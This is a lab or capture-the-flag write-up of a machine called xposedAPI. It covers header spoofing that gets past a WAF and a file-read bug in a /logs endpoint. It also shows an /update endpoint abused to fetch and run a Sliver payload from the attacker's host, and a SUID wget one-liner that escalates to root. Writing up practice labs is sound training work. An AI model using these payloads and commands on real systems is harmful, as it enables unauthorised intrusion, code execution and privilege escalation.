# xposedAPI - Writeup
## Enum
```
22/tcp - ssh
13337/tcp - Gunicorn
```
### Gunicorn server
```
http://192.168.188.134:13337/
```
Contains a VERY convenient API documentation:
```
### Usage:
/
Methods: GET
Returns this page.
/version
Methods: GET
Returns version of the app running.
/update
Methods: POST
Updates the app using a linux executable. Content-Type: application/json {"user":"<user requesting the update>", "url":"<url of the update to download>"}
/logs
Methods: GET
Read log files.
/restart
Methods: GET
To request the restart of the app.
```
Can't seem to read `/logs`
Let's mess around with `/update`, the linux executable thingy sounds like the way in:
```sh
#!/bin/bash
curl --header "Content-Type: application/json" \
--request POST \
--data '{"user":"root","url":"http://192.168.45.231:13337"}' \
http://192.168.188.134:13337/update
```
Yields a `Invalid username.`
Question is whether we may use `ssh` to enumerate usernames?
We should check for undocumented endpoints too :-)
```
ffuf -u http://$RHOST:13337/FUZZ -c -w /arsenal/wordlists/raft-medium-words.txt -mc 200,301,302
```
Nothing new there.
#### User name bruteforcing
Or we can use [[FFUF]] to bruteforce usernames?
```sh
#!/bin/bash
ffuf -u http://$RHOST:1333/update \
-w /arsenal/wordlists/xato-net-10-million-usernames.txt \
-H "Content-Type: application/json" \
-X POST \
-d '{"user":"FUZZ","url":"http://192.168.45.231:13337"}' \
-fr "Invalid"
```
No love... :'-(
Means we prolly gotta find a username through that `/logs` endpoint...
May we get around the WAF stuff with some header fuckery??
```
GET /logs HTTP/1.1
Host: 192.168.188.134:13337
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
```
Returns
```
HTTP/1.1 404 NOT FOUND
Server: gunicorn/20.0.4
Date: Mon, 31 Mar 2025 19:40:45 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 73
Error! No file specified. Use file=/path/to/log/file to access log files.
```
We can get around the WAF by appending some headers <3
Let's see if we can include files:
```
GET /logs?file=/etc/passwd HTTP/1.1
Host: 192.168.188.134:13337
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
```
We can, it returns:
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh
```
We now have a username `clumsyadmin`.
Perhaps we can get his `.ssh` keys?
If we now run:
```
#!/bin/bash
curl --header "Content-Type: application/json" \
--request POST \
--data '{"user":"clumsyadmin","url":"http://192.168.45.231:13337"}' \
http://192.168.188.134:13337/update
```
We receive a web request on our `nc` handler....
And if we do it with a a file server that serves a sliver payload...
Well it appears to download the payload.
After executing `/restart` we get a beacon back....
We're in <333
## Privesc
Upon executing `linpeas.sh` we discover a potentially vulnerable systemd service:
```
╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#services
/etc/systemd/system/multi-user.target.wants/webapp.service could be executing some relative path
/etc/systemd/system/webapp.service could be executing some relative path
/home/clumsyadmin/webapp/._webapp.service
```
This just yields some weird output
```
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
strace Not Found
...
-rwsr-xr-x 1 root root 456K Apr 5 2019 /usr/bin/wget
...
```
From GTFObins: https://gtfobins.github.io/gtfobins/wget/
>If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
```
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
./wget --use-askpass=$TF 0
# whoami
root
# cd /root
# ls
proof.txt
# cat proof.txt
78fe5446d560c92d93029e69dda9195e
```
## TODO
- UPD port scanning
- Bruteforce moar
- Check SSH user enumeraiton?
- Try to bypass that WAF thingy to access log files...
## Lessons Learned
- Got additional practice with FFUF.
- Update [[Sensitive File Paths - Linux - TODO]]